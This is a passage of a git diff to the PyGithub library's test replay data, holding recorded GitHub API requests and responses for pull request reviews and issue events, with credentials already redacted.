v3\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"pushed_at\":\"2012-05-27T07:29:24Z\",\"created_at\":\"2012-02-25T12:53:47Z\",\"id\":3544490,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"full_name\":\"jacquev6/PyGithub\"}\n \n-GET /repos/jacquev6/PyGithub/issues/events/15819975 {'Authorization': 'Basic login_and_password_removed'} null\n+GET /repos/jacquev6/PyGithub/issues/events/16348656 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4905'), ('content-length', '2430'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"a3d244842d23f92f69a23e21626fad11\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15819975\",\"issue\":{\"updated_at\":\"2012-05-26T14:59:33Z\",\"body\":\"Body edited by PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/28\",\"comments\":0,\"milestone\":{\"creator\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones/1\",\"number\":1,\"title\":\"Version 0.4\",\"due_on\":\"2012-03-13T07:00:00Z\",\"closed_issues\":3,\"open_issues\":0,\"created_at\":\"2012-03-08T12:22:10Z\",\"state\":\"closed\",\"description\":\"\",\"id\":93546},\"number\":28,\"assignee\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"closed_at\":\"2012-05-26T14:59:33Z\",\"title\":\"Issue created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-19T10:38:23Z\",\"state\":\"closed\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"id\":4653757,\"pull_request\":{\"diff_url\":null,\"patch_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/jacquev6/PyGithub/issues/28\"},\"commit_id\":null,\"created_at\":\"2012-05-19T10:38:23Z\",\"event\":\"subscribed\",\"id\":15819975,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146}}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '1384'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fefecab09e7355d4ef9875677c2631da\"'), ('date', 'Sun, 27 May 2012 07:32:56 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16348656\",\"issue\":{\"updated_at\":\"2012-05-27T07:27:51Z\",\"body\":\"Body created by PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/30\",\"comments\":0,\"milestone\":null,\"number\":30,\"assignee\":null,\"closed_at\":null,\"title\":\"Issue also created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-27T05:40:15Z\",\"state\":\"open\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"},\"id\":4769659,\"pull_request\":{\"patch_url\":null,\"diff_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/jacquev6/PyGithub/issues/30\"},\"commit_id\":\"ed866fc43833802ab553e5ff8581c81bb00dd433\",\"created_at\":\"2012-05-27T07:29:25Z\",\"event\":\"referenced\",\"id\":16348656,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"}}\n ","additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"}] - diff --git a/tests/ReplayData/PullRequestReview.setUp.txt b/tests/ReplayData/PullRequestReview.setUp.txt index 87f99bbe92..dbf907609f 100644 --- a/tests/ReplayData/PullRequestReview.setUp.txt +++ b/tests/ReplayData/PullRequestReview.setUp.txt @@ -41,4 +41,3 @@ None 200 [('content-length', '1418'), ('x-runtime-rack', '0.166821'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"d9b71d9dcbbca4b597df3b00efc8cb2a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4545'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDD:9B6D:C86D83:EADA76:5AB118D3'), ('date', 'Tue, 20 Mar 2018 14:21:09 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] {"id":28482091,"user":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars3.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"body":"","state":"APPROVED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"OWNER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2017-03-22T19:06:59Z","commit_id":"7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc"} - diff --git a/tests/ReplayData/PullRequestReview.testAttributes.txt b/tests/ReplayData/PullRequestReview.testAttributes.txt index c4d63d5f49..1121238e3a 100644 --- a/tests/ReplayData/PullRequestReview.testAttributes.txt +++ b/tests/ReplayData/PullRequestReview.testAttributes.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '7095'), ('x-runtime-rack', '0.201492'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"61fe90332e025151d7eab5b709ae744f"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4544'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDE:9B6D:C86EB2:EADBEC:5AB118D5'), ('date', 'Tue, 20 Mar 2018 14:21:10 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] [{"id":28482091,"user":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars3.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"body":"","state":"APPROVED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"OWNER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2017-03-22T19:06:59Z","commit_id":"7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc"},{"id":104584375,"user":{"login":"electrofelix","id":912324,"avatar_url":"https://avatars1.githubusercontent.com/u/912324?v=4","gravatar_id":"","url":"https://api.github.com/users/electrofelix","html_url":"https://github.com/electrofelix","followers_url":"https://api.github.com/users/electrofelix/followers","following_url":"https://api.github.com/users/electrofelix/following{/other_user}","gists_url":"https://api.github.com/users/electrofelix/gists{/gist_id}","starred_url":"https://api.github.com/users/electrofelix/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/electrofelix/subscriptions","organizations_url":"https://api.github.com/users/electrofelix/orgs","repos_url":"https://api.github.com/users/electrofelix/repos","events_url":"https://api.github.com/users/electrofelix/events{/privacy}","received_events_url":"https://api.github.com/users/electrofelix/received_events","type":"User","site_admin":false},"body":"Some review created by PyGithub","state":"COMMENTED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-104584375","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"CONTRIBUTOR","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-104584375"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2018-03-16T14:23:47Z","commit_id":"2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52"},{"id":105360043,"user":{"login":"sfdye","id":1016390,"avatar_url":"https://avatars2.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"body":"Some review created by PyGithub","state":"COMMENTED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105360043","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"MEMBER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105360043"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2018-03-20T14:03:38Z","commit_id":"2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52"},{"id":105365629,"user":{"login":"sfdye","id":1016390,"avatar_url":"https://avatars2.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"body":"Some review created by PyGithub","state":"COMMENTED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105365629","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"MEMBER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105365629"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2018-03-20T14:15:45Z","commit_id":"2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52"},{"id":105368184,"user":{"login":"sfdye","id":1016390,"avatar_url":"https://avatars2.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"body":"Some review created by PyGithub","state":"COMMENTED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105368184","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"MEMBER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-105368184"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2018-03-20T14:21:07Z","commit_id":"2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52"}] - diff --git a/tests/ReplayData/PullRequestReview.testDismiss.txt b/tests/ReplayData/PullRequestReview.testDismiss.txt index bcba91ab13..9a6061bfff 100644 --- a/tests/ReplayData/PullRequestReview.testDismiss.txt +++ b/tests/ReplayData/PullRequestReview.testDismiss.txt @@ -8,15 +8,3 @@ None 200 [('content-length', '1418'), ('x-runtime-rack', '0.166821'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"f9b71d9dcbbfefb597df3b00efc8cb2a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4545'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDD:9B6D:C86D83:EADA76:5AB118D3'), ('date', 'Tue, 23 Feb 2018 23:42:09 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] {"id":28482091,"user":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars3.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"body":"","state":"DISMISSED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"OWNER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2017-03-22T19:06:59Z","commit_id":"7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc"} - -https -GET -api.github.com -None -/repos/PyGithub/PyGithub/pulls/538/reviews/28482091 -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('content-length', '1418'), ('x-runtime-rack', '0.166821'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"a687dafdcbb9aeb597df3b00efc8cb2a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4545'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDD:9B6D:C86D83:EADA76:5AB118D3'), ('date', 'Tue, 23 Feb 2018 23:42:19 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] -{"id":28482091,"user":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars3.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"body":"","state":"DISMISSED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"OWNER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2017-03-22T19:06:59Z","commit_id":"7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc"} - diff --git a/tests/ReplayData/PullRequestReview.testEdit.txt b/tests/ReplayData/PullRequestReview.testEdit.txt new file mode 100644 index 0000000000..18e6d1bf94 --- /dev/null +++ b/tests/ReplayData/PullRequestReview.testEdit.txt @@ -0,0 +1,10 @@ +https +PUT +api.github.com +None +/repos/PyGithub/PyGithub/pulls/538/reviews/28482091 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"body": "Comment edited by PyGithub"} +200 +[('content-length', '1418'), ('x-runtime-rack', '0.166821'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"f9b71d9dcbbfefb597df3b00efc8cb2a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4545'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDD:9B6D:C86D83:EADA76:5AB118D3'), ('date', 'Tue, 23 Feb 2018 23:42:09 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] +{"id":28482091,"user":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars3.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"body":"Comment edited by PyGithub","state":"DISMISSED","html_url":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","author_association":"OWNER","_links":{"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538#pullrequestreview-28482091"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"}},"submitted_at":"2017-03-22T19:06:59Z","commit_id":"7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc"} diff --git a/tests/ReplayData/PullRequestReview1856.setUp.txt b/tests/ReplayData/PullRequestReview1856.setUp.txt index 70ffa8a9c3..ed80705471 100644 --- a/tests/ReplayData/PullRequestReview1856.setUp.txt +++ b/tests/ReplayData/PullRequestReview1856.setUp.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 08 Apr 2021 14:27:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2cb2134a474a60fa86391e682a41332b9ce4e92e41b9e7d2039ce2e6c64ae80e"'), ('X-OAuth-Scopes', 'admin:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1617895279'), ('X-RateLimit-Used', '8'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EB4A:950E:125F8E:13037F:606F12C0')] {"id":631460061,"node_id":"MDE3OlB1bGxSZXF1ZXN0UmV2aWV3NjMxNDYwMDYx","user":{"login":"bagashvilit","id":46755932,"node_id":"MDQ6VXNlcjQ2NzU1OTMy","avatar_url":"https://avatars.githubusercontent.com/u/46755932?v=4","gravatar_id":"","url":"https://api.github.com/users/bagashvilit","html_url":"https://github.com/bagashvilit","followers_url":"https://api.github.com/users/bagashvilit/followers","following_url":"https://api.github.com/users/bagashvilit/following{/other_user}","gists_url":"https://api.github.com/users/bagashvilit/gists{/gist_id}","starred_url":"https://api.github.com/users/bagashvilit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bagashvilit/subscriptions","organizations_url":"https://api.github.com/users/bagashvilit/orgs","repos_url":"https://api.github.com/users/bagashvilit/repos","events_url":"https://api.github.com/users/bagashvilit/events{/privacy}","received_events_url":"https://api.github.com/users/bagashvilit/received_events","type":"User","site_admin":false},"body":"","state":"PENDING","html_url":"https://github.com/CS481-Team-Pumpkin/PyGithub/pull/4#pullrequestreview-631460061","pull_request_url":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4","author_association":"MEMBER","_links":{"html":{"href":"https://github.com/CS481-Team-Pumpkin/PyGithub/pull/4#pullrequestreview-631460061"},"pull_request":{"href":"https://api.github.com/repos/CS481-Team-Pumpkin/PyGithub/pulls/4"}},"commit_id":"a99c92b2ba68464a1a05d7fa8ef55e3a98803e5f"} - diff --git a/tests/ReplayData/PullRequestReview1856.testDelete.txt b/tests/ReplayData/PullRequestReview1856.testDelete.txt index 47bb025c03..5e82b03811 100644 --- a/tests/ReplayData/PullRequestReview1856.testDelete.txt +++ b/tests/ReplayData/PullRequestReview1856.testDelete.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 08 Apr 2021 14:27:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, 